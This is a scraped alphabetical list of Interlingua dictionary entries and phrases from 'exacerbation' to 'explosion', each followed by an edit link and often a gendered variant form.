exacerbation de un desiderioModificar exacerbation de un desiroModificar exacerbation de un dolorModificar exacerbation de un(a) dolor exacerbation de un maladiaModificar exacerbation de una maladia exacteModificar exacto(s) \/ exacta(s) exactemente lo que io ha diciteModificar exactamente lo que io ha dicito exactionModificar exactitudeModificar exactitude historicModificar exactitude historica exactorModificar exaggerarModificar exaggerar le sperantiasModificar exaggerar las sperantias exaggeratemente amabileModificar exaggeratamente amabile(s) exaggerationModificar exaggerativeModificar exaggerativo(s) \/ exaggerativa(s) exaggeratorModificar exaltarModificar exaltar al pontificatoModificar exaltar al pontificato exaltar le virtutes de un sanctoModificar exaltar las virtutes de un sancto exaltar seModificar exaltateModificar exaltato(s) \/ exaltata(s) exaltationModificar exaltation del CruceModificar exaltation de la Cruce exaltation del Sancte CruceModificar exaltation de la Sancta Cruce exaltation intellectualModificar exaltation mysticModificar exaltation mystica exaltation nervoseModificar exaltation nervosa examinabileModificar examinabile(s) examinanteModificar examinante [le \/ la examinarModificar examinar le moralitate de un cosaModificar examinar la moralitate de una cosa examinar le pro e le contra de un cosaModificar examinar le pro e le contra de una cosa examinar le testesModificar examinar los \/ las testes examinar monstrasModificar examinar rationalmente un puncto de vistaModificar examinar un cosa a fundoModificar examinar una cosa a fundo examinar un cosa caso per casoModificar examinar una cosa caso per caso examinar un machinaModificar examinar una machina examinar un maladoModificar examinar un situationModificar examinar una situation examinar un texito al microscopioModificar examinatorModificar examinator impassibileModificar examinator indulgenteModificar examinator severModificar examinator severo examineModificar examine [le examine audiometricModificar examine audiometrico examine comparativeModificar examine comparativo examine de admissionModificar examine de conductorModificar examine de conscientiaModificar examine de entrataModificar examine de ingressoModificar examine de oculosModificar examine de passageModificar examine de sanguineModificar examine del function visualModificar examine de la function visual examine del oculosModificar examine de los oculos examine del pulmonesModificar examine de los pulmones examine del statoModificar examine del stomachoModificar examine del ventreModificar examine doctoralModificar examine endoscopicModificar examine endoscopico examine finalModificar examine gastricModificar examine gastrico examine gynecologicModificar examine gynecologico examine histologicModificar examine histologico examine impartialModificar examine intestinalModificar examine mammographicModificar examine mammographico examine medicModificar examine medico examine medicalModificar examine neurologicModificar examine neurologico examine objectiveModificar examine objectivo examine oralModificar examine orthopticModificar examine orthoptico examine practicModificar examine practico examine prenuptialModificar examine pro le permisso de conducerModificar examine pro patente de guidarModificar examine pro permisso de guidarModificar examine psychotechnicModificar examine psychotechnico examine radiographicModificar examine radiographico examine radiologicModificar examine radiologico examine radioscopicModificar examine radioscopico examine rectoscopicModificar examine rectoscopico examine scholarModificar examine scripteModificar examine scripto examine summariModificar examine summario examine suppletiveModificar examine suppletivo examine testimonialModificar examine theoricModificar examine theorico examine verbalModificar exanimeModificar exanime(s) adj exanthemaModificar exanthema [le exanthematicModificar exanthematico(s) \/ exanthematica(s) exanthematoseModificar exanthematoso(s) \/ exanthematosa(s) exarchatoModificar exarchato [le exarchato de RavennaModificar exarchoModificar exarcho de RavennaModificar exasperarModificar exasperar le odio de un personaModificar exasperar le odio de una persona exasperationModificar exaudibileModificar exaudibile(s) exaudibilitateModificar exaudimentoModificar exaudirModificar exaudir un precariaModificar exaudir una precaria exauditorModificar excambiabileModificar excambiabile(s) excambiabilitateModificar excambiarModificar excambiar experientiasModificar excambiar impressionesModificar excambiar litterasModificar excambiar opinionesModificar excambiar prisionerosModificar excambiar prisioneros de guerraModificar excambiatorModificar excambiator de ionesModificar excambiator ionicModificar excambiator ionico excambiator thermicModificar excambiator thermico excambioModificar excambio commercialModificar excambio culturalModificar excambio de anionesModificar excambio de calorModificar excambio de datosModificar excambio de litterasModificar excambio de notasModificar excambio de prisionerosModificar excambio de prisioneros de guerraModificar excambio de vistasModificar excambio epistolariModificar excambio epistolario excavarModificar excavar asparagosModificar excavar auroModificar excavar con un dragaModificar excavar con una draga excavar le gravella de un terrenoModificar excavar la gravella de un terreno excavar turfaModificar excavar un canalModificar excavar un fossatoModificar excavationModificar excavation hydraulicModificar excavation hydraulica excavationes de PompeiModificar excavatorModificar excavator a \/ de vaporModificar excavator de trencheaModificar excavator de turfaModificar excavator hydraulicModificar excavator hydraulico excavator pneumaticModificar excavator pneumatico excavator super erucasModificar excedenteModificar excedente [le excedente agricoleModificar excedente agriculturalModificar excedente budgetariModificar excedente budgetario excedente de budgetModificar excedente de cassaModificar excedente de financiamentoModificar excedente de financiationModificar excedente de \/ in monetaModificar excedente de nascentiasModificar excedente de \/ del natalitateModificar excedente de \/ de_la natalitate excedente de personalModificar excedente de pesoModificar excedente de \/ del populationModificar excedente de \/ de_la population excedente de precipitationModificar excedente de productionModificar excedente demographicModificar excedente demographico excedente migratoriModificar excedente migratorio excederModificar exceder in severitateModificar exceder le budgetModificar exceder le etate limite fixateModificar exceder la etate limite fixata exceder le expectationesModificar exceder las expectationes exceder le limite del velocitateModificar exceder le limite de la velocitate exceder le limitesModificar exceder tote le limitesModificar exceder totos los limites excellenteModificar excellente(s) excellentiaModificar excellerModificar exceller in beltateModificar exceller in intelligentiaModificar exceller in linguasModificar exceller in su professionModificar excelseModificar excelso(s) \/ excelsa(s) excelsiorModificar excelsior(es) adj excelsitudeModificar excentricModificar excentrico(s) \/ excentrica(s) excentricitateModificar excentricitate del orbita de un planetaModificar excentricitate de la orbita de un planeta excentricoModificar exceptarModificar excepteModificar excepto(s) \/ excepta(s) excepte approbation ultimeModificar excepta approbation ultima exceptionModificar exception dilatoriModificar exception dilatoria exception peremptoriModificar exception peremptoria exceptionalModificar exceptional(es) exceptionalitateModificar exceptiones declinatoriModificar exceptiones declinatorias excerperModificar excerptoModificar excerptorModificar excessiveModificar excessivo(s) \/ excessiva(s) excessivemente cargateModificar excessivamente cargato(s) \/ cargata(s) excessivemente fatigateModificar excessivamente fatigato(s) \/ fatigata(s) excessivitateModificar excessoModificar excesso de bagage(s)Modificar excesso de capacitateModificar excesso de civilisationModificar excesso de civilization excesso de conductaModificar excesso de costosModificar excesso de expensasModificar excesso de exportationModificar excesso de fatigaModificar excesso de importationModificar excesso de laborModificar excesso de lacrimationModificar excesso de pesoModificar excesso de populationModificar excesso de poterModificar excesso de precautionModificar excesso de productionModificar excesso de travalioModificar excesso de velocitateModificar excesso de votosModificar excesso de zeloModificar excesso demographicModificar excesso demographico exciderModificar excider un tumorModificar excipienteModificar excipiente [le excisarModificar excisar (con s) excisar un tumorModificar excisionModificar excitabileModificar excitabile(s) excitabilitateModificar excitabilitate muscularModificar excitamentoModificar excitamento del nervosModificar excitamento de los nervos excitanteModificar excitante [le excitarModificar excitar al rebellionModificar excitar a la rebellion excitar le admiration de un personaModificar excitar la admiration de una persona excitar le animasModificar excitar las animas excitar le appetitoModificar excitar le ardor de un personaModificar excitar le ardor de una persona excitar le curiositate de un personaModificar excitar la curiositate de una persona excitar le imaginationModificar excitar la imagination excitar le nervosModificar excitar los nervos excitar le pietateModificar excitar la pietate excitar le sensualitateModificar excitar la sensualitate excitar su can contra un personaModificar excitar su can contra una persona excitationModificar excitation del nervosModificar excitation de los nervos excitation in serieModificar excitation sexualModificar excitativeModificar excitativo(s) \/ excitativa(s) excitatorModificar exclamarModificar exclamationModificar exclamation admirativeModificar exclamation admirativa exclamation(es) de surprisaModificar exclamativeModificar exclamativo(s) \/ exclamativa(s) exclaramentoModificar exclaramento a \/ de acetylenModificar exclaramento a \/ per gasModificar exclaramento de natriumModificar exclaramento de neonModificar exclaramento de vitrinaModificar exclaramento del ecclesiaModificar exclaramento de la ecclesia exclaramento del stratasModificar exclaramento de las stratas exclaramento electricModificar exclaramento electrico exclararModificar exclarar un cosaModificar exclarar una cosa exclarar un enigmaModificar exclaustrarModificar exclaustrationModificar exclaveModificar exclave [le excluderModificar excluder un persona de un examineModificar excluder una persona de un examine excluder un possibilitateModificar excluder una possibilitate exclusionModificar exclusiveModificar exclusivo(s) \/ exclusiva(s) exclusive deModificar [exclusivo(s) \/ exclusiva(s)] de exclusivismoModificar exclusivistaModificar exclusivitateModificar excogitabileModificar excogitabile(s) excogitarModificar excogitationModificar excogitativeModificar excogitativo(s) \/ excogitativa(s) excogitatorModificar excommunicarModificar excommunicar un hereticoModificar excommunicationModificar excommunicativeModificar excommunicativo(s) \/ excommunicativa(s) excommunicatorModificar ex-communistaModificar excoriarModificar excoriationModificar excoriatorModificar excrementalModificar excremental(es) excrementicieModificar excrementicio(s) \/ excrementicia(s) excrementoModificar excremento de canModificar excremento de oveModificar excrementos de avesModificar excrementos de cattoModificar excrementos de leporeModificar excrementos de musesModificar excrementoseModificar excrementoso(s) \/ excrementosa(s) excrescentiaModificar excrescentia carnoseModificar excrescentia carnosa excrescentialModificar excrescential(es) excrescentias del civilisationModificar excrescentias de la civilization excrescerModificar excretarModificar excretionModificar excretion de materias fecalModificar excretion de materias fecales excretion de urinaModificar excretoriModificar excretorio(s) \/ excretoria(s) excruciarModificar excruciationModificar exculpabileModificar exculpabile(s) exculparModificar exculpationModificar exculpatoriModificar exculpatorio(s) \/ exculpatoria(s) excursionModificar excursion a bicyclettaModificar excursion a pedeModificar excursion autumnalModificar excursion circularModificar excursion collectiveModificar excursion collectiva excursion de auto \/ automobileModificar excursion de autumnoModificar excursion de montaniaModificar excursion de un jornataModificar excursion de una jornata excursion in automobileModificar excursion in batelloModificar excursion scholarModificar excursionarModificar excursionismoModificar excursionistaModificar excusaModificar excusa admissibileModificar excusa valibileModificar excusa valideModificar excusa valida excusabileModificar excusabile(s) excusarModificar excusar seModificar excusas admissibileModificar excusas admissibiles excusationModificar excusatoriModificar excusatorio(s) \/ excusatoria(s) execrabileModificar execrabile(s) execrabilitateModificar execrarModificar execrationModificar execratorModificar execratoriModificar execratorio(s) \/ execratoria(s) executabileModificar executabile(s) executanteModificar executante [le \/ la executarModificar executar instructionesModificar executar le ordines de un personaModificar executar los ordines de una persona executar un concertoModificar executar un contractoModificar executar un decisionModificar executar una decision executar un girationModificar executar una giration executar un ordineModificar executar un pecia musical con grande maestriaModificar executar una pecia musical con grande maestria executar un persona al furcaModificar executar una persona a la furca executar un planoModificar executar un rotationModificar executar una rotation executar un sententiaModificar executar una sententia executar un sententia judicialModificar executar una sententia judicial executar un sonataModificar executar una sonata executionModificar execution al furcaModificar execution a la furca execution capitalModificar execution de concertoModificar execution de un planoModificar execution de un sententiaModificar execution de una sententia execution de un sonataModificar execution de una sonata execution summariModificar execution summaria executivaModificar Executiva ProvincialModificar executiveModificar executivo(s) \/ executiva(s) executorModificar executor testamentariModificar executor testamentario executoriModificar executorio(s) \/ executoria(s) exedraModificar exegese = exegesisModificar exegese historicModificar exegese historica exegetaModificar exegeta de HomeroModificar exegeticModificar exegetico(s) \/ exegetica(s) exegeticaModificar exegetica humanisticModificar exegetica humanistica exegetica moderneModificar exegetica moderna exemplarModificar exemplar adj, sub exemplar de archivoModificar exemplar gratuiteModificar exemplar gratuito exemplar justificativeModificar exemplar justificativo exemplar premioModificar exemplar pro recenserModificar exemplar standardModificar exemplar unicModificar exemplar unico exemplaritateModificar exemplaritate de un punitionModificar exemplaritate de una punition exempli gratia (e.g.) [L]Modificar exemplificarModificar exemplificar un regula grammaticalModificar exemplificar una regula grammatical exemplificationModificar exemplificativeModificar exemplificativo(s) \/ exemplificativa(s) exemploModificar exemplo classicModificar exemplo classico exemplo contagioseModificar exemplo contagioso exemplo de bontateModificar exemplo de diligentiaModificar exemplo de generositateModificar exemplo de grammaticaModificar exemplo de patientiaModificar exemplo de scripturaModificar exemplo de virtuteModificar exemplo del contrarioModificar exemplo edificanteModificar exemplo edificativeModificar exemplo edificativo exemplo grammaticalModificar exemplo imitabileModificar exemplo persuasiveModificar exemplo persuasivo exemplo practicModificar exemplo practico exemplo significanteModificar exemplo typicModificar exemplo typico exemplo viventeModificar exemplos illustrativeModificar exemplos illustrativos exemplos illustreModificar exemplos illustres exemplos instructiveModificar exemplos instructivos exemptarModificar exemptar del frequentation del lectionesModificar exemptar de la frequentation de las lectiones exemptar del servicio militarModificar exemptar un persona de impostosModificar exemptar una persona de impostos exemptar un persona de su obligationesModificar exemptar una persona de sus obligationes exemptar un persona de un obligationModificar exemptar una persona de una obligation exemptar un persona de un penaModificar exemptar una persona de una pena exemptar un persona del servicio militarModificar exemptar una persona del servicio militar exempteModificar exempto(s) \/ exempta(s) exempte de alcoholModificar [exempto(s) \/ exempta(s)] de alcohol exempte de culpaModificar [exempto(s) \/ exempta(s)] de culpa exempte de derectosModificar [exempto(s) \/ exempta(s)] de derectos exempte de doanaModificar [exempto(s) \/ exempta(s)] de doana exempte de germinesModificar [exempto(s) \/ exempta(s)] de germines exempte de impostosModificar [exempto(s) \/ exempta(s)] de impostos exempte de interferentiaModificar [exempto(s) \/ exempta(s)] de interferentia exempte de parasitosModificar [exempto(s) \/ exempta(s)] de parasitos exempte de pedageModificar [exempto(s) \/ exempta(s)] de pedage exempte de portoModificar [exempto(s) \/ exempta(s)] de porto exempte de prejudiciosModificar [exempto(s) \/ exempta(s)] de prejudicios exempte de taxaModificar [exempto(s) \/ exempta(s)] de taxa exempte de vibrationesModificar [exempto(s) \/ exempta(s)] de vibrationes exempte del servicio militarModificar exempto(s) del servicio militar exemptionModificar exemption de imposto(s)Modificar exemption de un obligationModificar exemption de una obligation exemption del servicio militarModificar exequaturModificar exequatur [le exequerModificar exequer un commissionModificar exequer una commission exequer un concertoModificar exequer un labor con grande scrupulositateModificar exequer un legeModificar exequer una lege exequer un ordineModificar exequer un pecia musical con grande maestriaModificar exequer una pecia musical con grande maestria exequer un planoModificar exequer un sententiaModificar exequer una sententia exequer un testamentoModificar exequer un travalio con grande scrupulositateModificar exequiasModificar exequias [las exercerModificar exercer autoritateModificar exercer controlo superModificar exercer influentiaModificar exercer le autoritateModificar exercer la autoritate exercer le magiaModificar exercer la magia exercer le medicinaModificar exercer la medicina exercer su critica super un cosaModificar exercer su critica super una cosa exercer su memoriaModificar exercer un contrapressionModificar exercer una contrapression exercer un grande attraction superModificar exercer una grande attraction super exercer un influentia prejudicialModificar exercer una influentia prejudicial exercer un pression superModificar exercer una pression super exercer un professionModificar exercer una profession exercer un seduction irresistibileModificar exercer una seduction irresistibile exercitarModificar exercitar le advocaturaModificar exercitar la advocatura exercitar le gambasModificar exercitar las gambas exercitar le memoriaModificar exercitar la memoria exercitar le menteModificar exercitar la mente exercitar le profession de pharmacistaModificar exercitar la profession de pharmacista exercitationModificar exercitation durModificar exercitation dura exercitioModificar exercitio a completarModificar exercitio al soloModificar exercitio corporalModificar exercitio corporeeModificar exercitio corporeo exercitio de calculoModificar exercitio de cantoModificar exercitio de completamentoModificar exercitio de dexteritateModificar exercitio de dictionModificar exercitio de digitationModificar exercitio de equilibrioModificar exercitio de grammaticaModificar exercitio de lecturaModificar exercitio de linguaModificar exercitio de luctaModificar exercitio de memoriaModificar exercitio de natationModificar exercitio de nocteModificar exercitio de pensamentoModificar exercitio de pensataModificar exercitio de relaxationModificar exercitio de respirationModificar exercitio de scripturaModificar exercitio de stiloModificar exercitio de tiroModificar exercitio de traductionModificar exercitio de translationModificar exercitio de trapezioModificar exercitio de un functionModificar exercitio de una function exercitio del governamentoModificar exercitio equestreModificar exercitio illegal de un professionModificar exercitio illegal de una profession exercitio illegal del medicinaModificar exercitio illegal de la medicina exercitio illicite del medicinaModificar exercitio illicito de la medicina exercitio linguisticModificar exercitio linguistico exercitio militarModificar exercitio mnemonicModificar exercitio mnemonico exercitio muscularModificar exercitio natatoriModificar exercitio natatorio exercitio physicModificar exercitio physico exercitio preparatoriModificar exercitio preparatorio exercitio professionalModificar exercitio punitiveModificar exercitio punitivo exercitio respiratoriModificar exercitio respiratorio exercitios acrobaticModificar exercitios acrobaticos exercitios athleticModificar exercitios athleticos exercitios corrective de pronunciationModificar exercitios correctivos de pronunciation exercitios de pianoModificar exercitios de reptationModificar exercitios de respirationModificar exercitios de tiroModificar exercitios gymnasticModificar exercitios gymnasticos exercitios gymnicModificar exercitios gymnicos exercitios militarModificar exercitios militares exercitios prenatalModificar exercitios prenatales exercitios preparativeModificar exercitios preparativos exercitios pro le musculos abdominalModificar exercitios pro los musculos abdominales exfilarModificar exfilar seModificar exfoliarModificar exfoliationModificar exhalarModificar exhalar fragrantiaModificar exhalar le ultime suspiroModificar exhalar le ultimo suspiro exhalationModificar exhalationes mephiticModificar exhalationes mephiticas exhalationes pestifereModificar exhalationes pestiferas exhalationes pestilentialModificar exhalationes pestilentiales exhauribileModificar exhauribile(s) exhauribilitateModificar exhaurirModificar exhaurir seModificar exhaurir tote le medios legalModificar exhaurir totos los medios legales exhaurir un subjectoModificar exhausteModificar exhausto(s) \/ exhausta(s) exhaustibileModificar exhaustibile(s) exhaustionModificar exhaustiveModificar exhaustivo(s) \/ exhaustiva(s) exhaustivitateModificar exhaustivitate de un bibliographiaModificar exhaustivitate de una bibliographia exhaustivitate de un listaModificar exhaustivitate de una lista exheredarModificar exheredationModificar exhiberModificar exhiber le imagine del Virgine in processionModificar exhiber la imagine de la Virgine in procession exhiber le licentia de chassaModificar exhiber la licentia de chassa exhiber su cognoscentiasModificar exhiber sus cognoscentias exhiber su cognoscimentosModificar exhiber sus cognoscimentos exhiber su papirosModificar exhiber sus papiros exhiber su passaportoModificar exhiber su saperModificar exhiber un autorisationModificar exhiber una autorization exhibitionModificar exhibition agricoleModificar exhibition agricola exhibition ambulanteModificar exhibition autumnalModificar exhibition avicoleModificar exhibition avicola exhibition biennalModificar exhibition de affichesModificar exhibition de automobilesModificar exhibition de bestialModificar exhibition de caprasModificar exhibition de cattosModificar exhibition de chrysanthemosModificar exhibition de dahliasModificar exhibition de horticulturaModificar exhibition de pictura(s)Modificar exhibition felinModificar exhibition felina exhibition flottanteModificar exhibition horticoleModificar exhibition horticola exhibition itineranteModificar exhibition triennal de picturasModificar exhibition universalModificar exhibitionismoModificar exhibitionistaModificar exhibitionisticModificar exhibitionistico(s) \/ exhibitionistica(s) exhibitoriModificar exhibitorio(s) \/ exhibitoria(s) exhilaranteModificar exhilarante(s) exhilararModificar exhilarationModificar exhilarativeModificar exhilarativo(s) \/ exhilaritiva(s) exhortarModificar exhortar al calmaModificar exhortar a la calma exhortar un persona al calmaModificar exhortar una persona a la calma exhortar un persona al patientiaModificar exhortar una persona a la patientia exhortationModificar exhortation al patientiaModificar exhortation a la patientia exhortation al penitentiaModificar exhortation a la penitentia exhortation emphaticModificar exhortation emphatica exhortationes fraternalModificar exhortationes fraternales exhortativeModificar exhortativo(s) \/ exhortativa(s) exhortatorModificar exhortatoriModificar exhortatorio(s) \/ exhortatoria(s) exhumarModificar exhumar memoriasModificar exhumar tresoresModificar exhumar un cadavereModificar exhumationModificar exhumation de un cadavereModificar exigenteModificar exigente(s) exigentiaModificar exigentia de aptitudeModificar exigentia de capabilitateModificar exigentia de competentiaModificar exigentia imperativeModificar exigentia imperativa exigentia minimeModificar exigentia minima exigentias exorbitanteModificar exigentias exorbitantes exigentias injusteModificar exigentias injustas exigerModificar exiger effortioModificar exiger indemnisationModificar exiger indemnization exiger le attentionModificar exiger la attention exiger le restitution de un prestoModificar exiger la restitution de un presto exiger multoModificar exiger satisfactionModificar exiger un explanationModificar exiger una explanation exiger un explicationModificar exiger una explication exiger un redemptionModificar exiger una redemption exigibileModificar exigibile(s) exigibilitateModificar exigibilitate de un debitaModificar exigibilitate de una debita exigueModificar exiguo(s) \/ exigua(s) exiguitateModificar exiliarModificar exiliatoModificar exilioModificar exilio voluntariModificar exilio voluntario eximerModificar eximer un persona de un promissaModificar eximer una persona de una promissa eximer un persona del excommunicationModificar eximer una persona de la excommunication eximer un persona del secreto professionalModificar eximer una persona del secreto professional exirModificar exir de casaModificar exir de \/ del comaModificar exir illese del battaliaModificar exir [illeso(s) \/ illesa(s)] de la battalia exir illese del luctaModificar exir [illeso(s) \/ illesa(s)] de la lucta existenteModificar existente(s) existentiaModificar existentia aventuroseModificar existentia aventurosa existentia de DeoModificar existentia invivibileModificar existentia marginalModificar existentia miserabileModificar existentia misereModificar existentia misera existentia quotidianModificar existentia quotidiana existentia terrenModificar existentia terrena existentialModificar existential(es) existentialismoModificar existentialistaModificar existerModificar exitoModificar exito de emergentiaModificar exito de securitateModificar exito de succursoModificar exito de urgentiaModificar exito del artistasModificar exito de los \/ las artistas ex-libris [L]Modificar ex-maritoModificar ex-ministroModificar exobiologiaModificar exobiologicModificar exobiologico(s) \/ exobiologica(s) exobiologistaModificar exobiologoModificar exobuccalModificar exobuccal(es) exocentricModificar exocentrico(s) \/ exocentrica(s) exocetoModificar exocrinModificar exocrino(s) \/ exocrina(s) exodermaModificar exoderma [le exodicModificar exodico(s) \/ exodica(s) exodistaModificar ExodoModificar exodoModificar exodo de \/ del personalModificar exodo ruralModificar exogameModificar exogamo(s) \/ exogama(s) exogamiaModificar exogamicModificar exogamico(s) \/ exogamica(s) exogastrulationModificar exogeneModificar exogeno(s) \/ exogena(s) exonerarModificar exonerar del servicio militarModificar exonerar un persona de su obligationesModificar exonerar una persona de sus obligationes exonerationModificar exoneration fiscal pro infantesModificar exonerativeModificar exonerativo(s) \/ exonerativa(s) exoneratoriModificar exoneratorio(s) \/ exoneratoria(s) exoperanteModificar exoperante [le \/ la exoperante de \/ del fameModificar exoperante de \/ de_la fame exoperarModificar exoperoModificar exopero de fameModificar exopero de ferroviariosModificar exopero de obreros portuariModificar exopero de obreros portuarios exopero de protestationModificar exopero de protestoModificar exopero de solidaritateModificar exopero de surprisaModificar exopero del minatoresModificar exopero de los minatores exopero del zeloModificar exopero ferroviariModificar exopero ferroviario exopero generalModificar exopero intermittenteModificar exopero non officialModificar exopero pro le augmento del salariosModificar exopero pro le augmento de los salarios exopero pro un salario plus alteModificar exopero pro un salario plus alto exopero salvageModificar exopero spontaneeModificar exopero spontaneo exophthalmiaModificar exophthalmicModificar exophthalmico(s) \/ exphthalmica(s) exophthalmoModificar exoplanetaModificar exoplaneta [le exorabileModificar exorabile(s) exorarModificar exorbitanteModificar exorbitante(s) exorbitantiaModificar exorbitarModificar exorbitationModificar exorcisarModificar exorcizar exorcisar le demonioModificar exorcizar le demonio exorcisationModificar exorcization exorcismoModificar exorcistaModificar exordialModificar exordial(es) exordioModificar exordirModificar exordir un discursoModificar exoskeletoModificar exosmose = exosmosisModificar exospheraModificar exosphericModificar exospherico(s) \/ exospherica(s) exostose = exostoosisModificar exotericModificar exoterico(s) \/ exoterica(s) exoterismoModificar exoterismo de un doctrina philosophicModificar exoterismo de una doctrina philosophica exothermicModificar exothermico(s) \/ exothermica(s) exoticModificar exotico(s) \/ exotica(s) exoticitateModificar exotismoModificar exotoxinaModificar expanderModificar expander su activitatesModificar expander sus activitates expansibileModificar expansibile(s) expansibilitateModificar expansionModificar expansion adiabaticModificar expansion adiabatica expansion colonialModificar expansion commercialModificar expansion de un gasModificar expansion del creditoModificar expansion del mercato de laborModificar expansion del universoModificar expansion economicModificar expansion economica expansion industrialModificar expansion linguisticModificar expansion linguistica expansion territorialModificar expansion urbanModificar expansion urbana expansionismoModificar expansionistaModificar expansionisticModificar expansionistico(s) \/ expansionistica(s) expansiveModificar expansivo(s) \/ expansiva(s) expansivitateModificar expatriarModificar expatriar seModificar expatriationModificar expectabileModificar expectabile(s) expectanteModificar expectante(s) adj expectarModificar expectar multo de un personaModificar expectar multo de una persona expectar un telephonataModificar expectar una telephonata expectationModificar expectation de vitaModificar expectativaModificar expectativeModificar expectativo(s) \/ expectativa(s) expectatorModificar expectoranteModificar expectorante adj, sub expectorarModificar expectorar sanguineModificar expectorationModificar expectoration de sanguineModificar expectoration sanguinolenteModificar expectoration sanguinolenta expectorationes sanguinolenteModificar expectorationes sanguinolentas expedicularModificar expedicular vb expediculationModificar expedienteModificar expediente adj, sub expedirModificar expedir per ferroviaModificar expedir per (le) postaModificar expedir per (la) posta expedir ulteriormenteModificar expedir un litteraModificar expedir una littera expedir un message per staffettaModificar expeditionModificar expedition al lunaModificar expedition a la luna expedition centralModificar expedition de piliageModificar expedition de succursoModificar expedition explorativeModificar expedition explorativa expedition exploratoriModificar expedition exploratoria expedition lunarModificar expedition militarModificar expedition penalModificar expedition per ferroviaModificar expedition polarModificar expedition punitiveModificar expedition punitiva expedition retardateModificar expedition retardata expedition scientificModificar expedition scientifica expedition ulteriorModificar expeditionariModificar expeditionario(s) \/ expeditionaria(s) expeditiveModificar expeditivo(s) \/ expeditiva(s) expeditorModificar expellerModificar expeller estranieros indesiderabile \/ indesirabileModificar expeller estranieros indesiderabiles \/ indesirabiles expeller le dubitasModificar expeller las dubitas expeller un alumno del scholaModificar expeller un alumno de la schola expeller un persona del paisModificar expeller una persona del pais expeller un persona del partitoModificar expeller una persona del partito expenderModificar expensaModificar expensas de armamentosModificar expensas de defensaModificar expensas de exploitationModificar expensas de mantenentiaModificar expensas de mantenimentoModificar expensas de prime necessitateModificar expensas de prima necessitate expensas de viageModificar expensas del statoModificar expensas exorbitanteModificar expensas exorbitantes expensas extravaganteModificar expensas extravagantes expensas immoderateModificar expensas immoderatas expensas imprevisteModificar expensas imprevistas expensas privateModificar expensas privatas expensas pro le collectivitateModificar expensas salarialModificar expensas salariales expensas sumptuariModificar expensas sumptuarias expensas superflueModificar expensas superfluas experientiaModificar experientia affectiveModificar experientia affectiva experientia de bureauModificar experientia del combattoModificar experientia del conductaModificar experientia de la conducta experientia del vitaModificar experientia de la vita experientia doloroseModificar experientia dolorosa experientia emotionalModificar experientia emotiveModificar experientia emotiva experientia inhabitualModificar experientia mysticModificar experientia mystica experientia practicModificar experientia practica experientia subjectiveModificar experientia subjectiva experientia transcendenteModificar experientia traumaticModificar experientia traumatica experientia vitalModificar experimentabileModificar experimentabile(s) experimentalModificar experimental(es) experimentalitateModificar experimentalitate del litteratura de vanguardaModificar experimentalitate de la litteratura de vanguarda experimentarModificar experimentar con un nove technicaModificar experimentar con una nova technica experimentar le sequelas del guerraModificar experimentar las sequelas de la guerra experimentateModificar experimentato(s) \/ experimentata(s) experimentationModificar experimentatorModificar experimentoModificar experimento chimicModificar experimento chimico experimento de chimiaModificar experimento de laboratorioModificar experimento non-reproducibileModificar experimentos aerotechnicModificar experimentos aerotechnicos experimentos exobiologicModificar experimentos exobiologicos experirModificar experteModificar experto(s) \/ experta(s) expertise [F]Modificar expertise forenseModificar expertise graphologicModificar expertise graphologica expertise medicolegalModificar expertoModificar experto agricoleModificar experto agriculturalModificar experto contabileModificar experto de arteModificar experto de automatisationModificar experto de automatization experto de investimentoModificar experto de publicitateModificar expiabileModificar expiabile(s) expiabilitateModificar expiabilitate de un culpaModificar expiabilitate de una culpa expiarModificar expiar un crimineModificar expiar un penaModificar expiar una pena expiationModificar expiation de peccatosModificar expiatorModificar expiatoriModificar expiatorio(s) \/ expiatoria(s) expirarModificar expirar lentementeModificar expirar lentamente expirationModificar expiration de un contractoModificar expiration de un terminoModificar expiration de un treguaModificar expiration de una tregua expiration del validitate de un passaportoModificar expiration de la validitate de un passaporto expiratoriModificar expiratorio(s) \/ expiratoria(s) explanabileModificar explanabile(s) explanarModificar explanar su puncto de vistaModificar explanar un cosa con claritateModificar explanar una cosa con claritate explanar un enigmaModificar explanar un sonioModificar explanationModificar explanatorModificar explanatoriModificar explanatorio(s) \/ explanatoria(s) explantModificar explant [le explerModificar expletiveModificar expletivo(s) \/ expletiva(s) explicabileModificar explicabile(s) explicarModificar explicar in detalioModificar explicar soniosModificar explicar su puncto de vistaModificar explicar un cosa con claritateModificar explicar una cosa con claritate explicar un sonioModificar explicar un textoModificar explicationModificar explication de soniosModificar explication de textoModificar explication del votoModificar explication plausibileModificar explication summariModificar explication summaria explicativeModificar explicativo(s) \/ explicativa(s) explicatorModificar explicitarModificar explicitar su proprie pensatasModificar explicitar sus proprias pensatas explicitar un variabileModificar explicitar una variabile explicitationModificar expliciteModificar explicito(s) \/ explicita(s) exploderModificar exploder de rabieModificar exploder in imprecationesModificar exploditorModificar exploitabileModificar exploitabile(s) exploitarModificar exploitar laboratoresModificar exploitar obrerosModificar exploitar su talentoModificar exploitar travaliatoresModificar exploitar un minaModificar exploitar una mina exploitar un turfieraModificar exploitar una turbiera exploitationModificar exploitation agricoleModificar exploitation agricola exploitation commercialModificar exploitation de gasModificar exploitation de ligniteModificar exploitation de marnaModificar exploitation de marna exploitation de minaModificar exploitation de mina exploitation de minasModificar exploitation de mineralesModificar exploitation de ressourcesModificar exploitation de un rete ferroviariModificar exploitation de una rete ferroviaria exploitation del homine per le homineModificar exploitation del soloModificar exploitation forestalModificar exploitation forestal del statoModificar exploitation industrialModificar exploitation minerariModificar exploitation mineraria exploitation minerari submarinModificar exploitation mineraria submarina exploitation rentabileModificar exploitatorModificar explorabileModificar explorabile(s) explorarModificar explorar le horizonteModificar explorar le terrenoModificar explorar per scannatorModificar explorar un cavernaModificar explorar una caverna explorar un grottaModificar explorar una grotta explorar un organo interneModificar explorar un organo interno explorar un questionModificar explorar una question explorationModificar exploration de Africa CentralModificar exploration del abyssosModificar exploration de los abyssos exploration del subconscienteModificar exploration del conscienteModificar exploration hydrologicModificar exploration hydrologica exploration methodic de un cavernaModificar exploration methodica de una caverna exploration oceanicModificar exploration oceanica exploration polarModificar exploration radiologicModificar exploration radiologica exploration spatialModificar exploration speleologicModificar exploration speleologica exploration submarinModificar exploration submarina explorativeModificar explorativo(s) \/ explorativa(s) exploratorModificar explorator del naturaModificar explorator de la natura explorator del regiones polarModificar explorator de las regiones polares explorator polarModificar exploratoriModificar exploratorio(s) \/ exploratoria(s) explosibileModificar explosibile(s) explosibilitateModificar explosionModificar explosion affectiveModificar explosion affectiva explosion atomicModificar explosion atomica explosion de benzinaModificar explosion de choleraModificar explosion de dynamiteModificar explosion de gasModificar explosion de gasolinaModificar explosion de grisuModificar explosion de iraModificar explosion de risadaModificar explosion de risoModificar explosion demographicModificar explosion demographica explosion 